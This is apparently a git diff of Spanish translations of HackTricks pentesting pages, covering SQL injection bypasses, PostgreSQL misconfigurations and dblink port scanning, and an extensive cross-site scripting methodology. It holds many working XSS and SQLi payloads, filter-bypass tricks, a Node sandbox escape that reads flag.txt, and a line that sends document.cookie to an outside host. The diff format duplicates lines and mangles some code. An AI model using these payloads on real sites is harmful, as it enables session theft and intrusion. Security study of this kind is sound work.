-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
O usando un **bypass de coma**:
|
||||
O usando un **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
|
||||
@ -16,10 +16,10 @@ El archivo `pg_hba.conf` podría estar mal configurado **permitiendo conexiones*
|
||||
```
|
||||
local all all trust
|
||||
```
|
||||
_Note que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de la base de datos cuando el administrador la olvida, así que a veces puedes encontrarla._\
|
||||
&#xNAN;_Note también que el archivo pg_hba.conf es legible solo por el usuario y grupo postgres y escribible solo por el usuario postgres._
|
||||
_Tenga en cuenta que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de la base de datos cuando el administrador la olvida, por lo que a veces puede encontrarla._\
|
||||
_Note también que el archivo pg_hba.conf es legible solo por el usuario y grupo postgres y escribible solo por el usuario postgres._
|
||||
|
||||
Este caso es **útil si** ya **tienes** un **shell** dentro de la víctima, ya que te permitirá conectarte a la base de datos postgresql.
|
||||
Este caso es **útil si** ya **tiene** un **shell** dentro de la víctima, ya que le permitirá conectarse a la base de datos postgresql.
|
||||
|
||||
Otra posible mala configuración consiste en algo como esto:
|
||||
```
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Escaneo de Puertos
|
||||
|
||||
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los usuarios que no son superusuarios conectarse utilizando cualquier método de autenticación**.
|
||||
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los usuarios que no son superusuarios conectarse usando cualquier método de autenticación**.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
|
||||
@ -376,12 +376,14 @@ version="1.0">
|
||||
|
||||
## **Lista de Detección de Fuerza Bruta**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||||
{{#endref}}
|
||||
|
||||
## **Referencias**
|
||||
|
||||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
|
||||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,16 +2,16 @@
|
||||
|
||||
## Metodología
|
||||
|
||||
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por código **JS**.
|
||||
2. **Encuentra el contexto** donde se refleja/se usa.
|
||||
3. Si es **reflejado**
|
||||
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
|
||||
2. **Encuentra el contexto** donde se refleja/utiliza.
|
||||
3. Si está **reflejado**
|
||||
1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
|
||||
1. En **HTML crudo**:
|
||||
1. ¿Puedes crear nuevas etiquetas HTML?
|
||||
2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`?
|
||||
3. ¿Puedes eludir protecciones?
|
||||
4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Pendiente - HTML sin script**](../dangling-markup-html-scriptless-injection/)?
|
||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Dentro de una **etiqueta HTML**:
|
||||
1. ¿Puedes salir al contexto HTML crudo?
|
||||
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
|
||||
@ -23,9 +23,9 @@
|
||||
3. ¿Tu entrada está en literales de plantilla \`\`?
|
||||
4. ¿Puedes eludir protecciones?
|
||||
4. Función de Javascript **siendo ejecutada**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
|
||||
4. Si es **usado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es usada por algún sink.**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. p.ej.: `?callback=alert(1)`
|
||||
4. Si **utilizado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
|
||||
|
||||
Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:
|
||||
|
||||
@ -37,7 +37,7 @@ debugging-client-side-js.md
|
||||
|
||||
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
|
||||
|
||||
- **Reflejado intermediatamente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
|
||||
- **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
|
||||
- **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
|
||||
- **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
|
||||
|
||||
@ -50,13 +50,13 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
|
||||
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
|
||||
Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro de atributos de etiquetas HTML
|
||||
### Dentro del atributo de etiquetas HTML
|
||||
|
||||
Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:
|
||||
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se esté reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||
@ -94,7 +94,7 @@ js-hoisting.md
|
||||
|
||||
Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se puede ver en la práctica es algo como: `?callback=callbackFunc`.
|
||||
|
||||
Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ejecutarse es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
|
||||
Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Inyectando dentro de HTML crudo
|
||||
|
||||
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, la **primera** cosa que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
|
||||
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
|
||||
Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Nota: Un comentario HTML puede cerrarse usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\**_
|
||||
_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como:
|
||||
```html
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar por fuerza bruta qué etiquetas** puedes crear.\
|
||||
Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar por fuerza bruta atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
|
||||
Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar qué etiquetas** puedes crear.\
|
||||
Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
|
||||
|
||||
### Fuerza bruta de etiquetas/eventos
|
||||
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar por fuerza bruta todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
|
||||
|
||||
### Etiquetas personalizadas
|
||||
|
||||
@ -233,24 +233,24 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Los últimos utilizan 2 caracteres unicode que se expanden a 5: telsr\
|
||||
Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121).
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prepopulados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
|
||||
### Imposible - Marcado Colgante
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Markup Colgante**](../dangling-markup-html-scriptless-injection/) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
|
||||
Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
|
||||
|
||||
## Inyectando dentro de la etiqueta HTML
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Dentro de la etiqueta/escapando del valor del atributo
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_nota que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando alguna carga útil como (_nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -295,7 +295,7 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass dentro del evento usando codificación Unicode**
|
||||
**Eludir el evento interno utilizando codificación Unicode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -383,7 +383,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass de Controladores de Eventos
|
||||
### sobre el Bypass de Controladores de Eventos
|
||||
|
||||
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
|
||||
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
|
||||
@ -440,11 +440,11 @@ Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro
|
||||
|
||||
**Bypasses para etiquetas y atributos HTML**
|
||||
|
||||
Lee los [Bypasses de lista negra de la sección anterior](./#blacklist-bypasses).
|
||||
Lee los [Bypasses de lista negra de la sección anterior](#blacklist-bypasses).
|
||||
|
||||
**Bypasses para código JavaScript**
|
||||
|
||||
Lee la [lista negra de bypass de JavaScript de la siguiente sección](./#javascript-bypass-blacklists-techniques).
|
||||
Lee la [lista negra de bypass de JavaScript de la siguiente sección](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -489,9 +489,9 @@ Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se en
|
||||
### Template literals \`\`
|
||||
|
||||
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
|
||||
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que utiliza backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
|
||||
Esto puede ser **abusado** usando:
|
||||
Esto se puede **abusar** usando:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Comentarios de JavaScript (de** [**Comentarios de JavaScript**](./#javascript-comments) **truco)**
|
||||
**Comentarios de JavaScript (del** [**truco de Comentarios de JavaScript**](#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](./#javascript-new-lines) **)**
|
||||
**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -739,14 +739,14 @@ top[8680439..toString(30)](1)
|
||||
## **Vulnerabilidades DOM**
|
||||
|
||||
Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:**
|
||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
|
||||
Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
Además, no olvides que **al final de la publicación mencionada** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Mejora de Self-XSS
|
||||
|
||||
@ -758,7 +758,7 @@ Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Puedes encontrar un gran abuso de esta técnica en [**este post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Puedes encontrar un gran abuso de esta técnica en [**esta publicación del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Enviando tu sesión al administrador
|
||||
|
||||
@ -774,7 +774,7 @@ Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cook
|
||||
|
||||
### Unicode Normalizado
|
||||
|
||||
Podrías verificar si los **valores reflejados** están siendo **normalizados en unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para eludir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Podrías verificar si los **valores reflejados** están siendo **normalizados en unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para eludir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### Bypass de la bandera PHP FILTER_VALIDATE_EMAIL
|
||||
```javascript
|
||||
@ -782,7 +782,7 @@ Podrías verificar si los **valores reflejados** están siendo **normalizados en
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Debido a **RoR mass assignment**, se insertan comillas en el HTML y luego se elude la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Debido a la **asignación masiva de RoR**, se insertan comillas en el HTML y luego se elude la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)), si envías la carga útil:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -832,7 +832,7 @@ Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _en
|
||||
|
||||
### Solo letras, números y puntos
|
||||
|
||||
Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para encontrar cómo abusar de este comportamiento.
|
||||
Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](#javascript-function) para encontrar cómo abusar de este comportamiento.
|
||||
|
||||
### Tipos de contenido `<script>` válidos para XSS
|
||||
|
||||
@ -868,9 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
La respuesta es:
|
||||
|
||||
- **module** (por defecto, nada que explicar)
|
||||
- **módulo** (predeterminado, nada que explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -916,22 +914,22 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Tipos de Contenido Web para XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? no está en la lista, pero creo que vi esto en un CTF)
|
||||
- application/rss+xml (apagado)
|
||||
- application/atom+xml (apagado)
|
||||
- text/plain (?? no está en la lista pero creo que lo vi en un CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Tipo de Contenido xml
|
||||
### xml Content Type
|
||||
|
||||
Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario:
|
||||
```xml
|
||||
@ -943,7 +941,7 @@ Si la página está devolviendo un tipo de contenido text/xml, es posible indica
|
||||
```
|
||||
### Patrones de Reemplazo Especiales
|
||||
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**, el atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar eludir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar eludir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
|
||||
|
||||
@ -963,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
|
||||
|
||||
// use of with
|
||||
with(console)log(123)
|
||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||||
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
|
||||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||||
|
||||
@ -986,7 +984,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
|
||||
- Usando import()
|
||||
```javascript
|
||||
@ -1269,7 +1267,7 @@ Hacer que el usuario navegue en la página sin salir de un iframe y robar sus ac
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
|
||||
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes la suerte suficiente.
|
||||
|
||||
### Robar Contenido de la Página
|
||||
```javascript
|
||||
@ -1427,9 +1425,11 @@ shadow-dom.md
|
||||
|
||||
### Polyglots
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Cargas útiles de Blind XSS
|
||||
### Cargas útiles de XSS ciegas
|
||||
|
||||
También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
@ -1492,13 +1492,15 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Lista de Fuerza Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abusando de otras vulnerabilidades
|
||||
|
||||
### XSS en Markdown
|
||||
|
||||
¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Revisa:
|
||||
¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Verifica:
|
||||
|
||||
{{#ref}}
|
||||
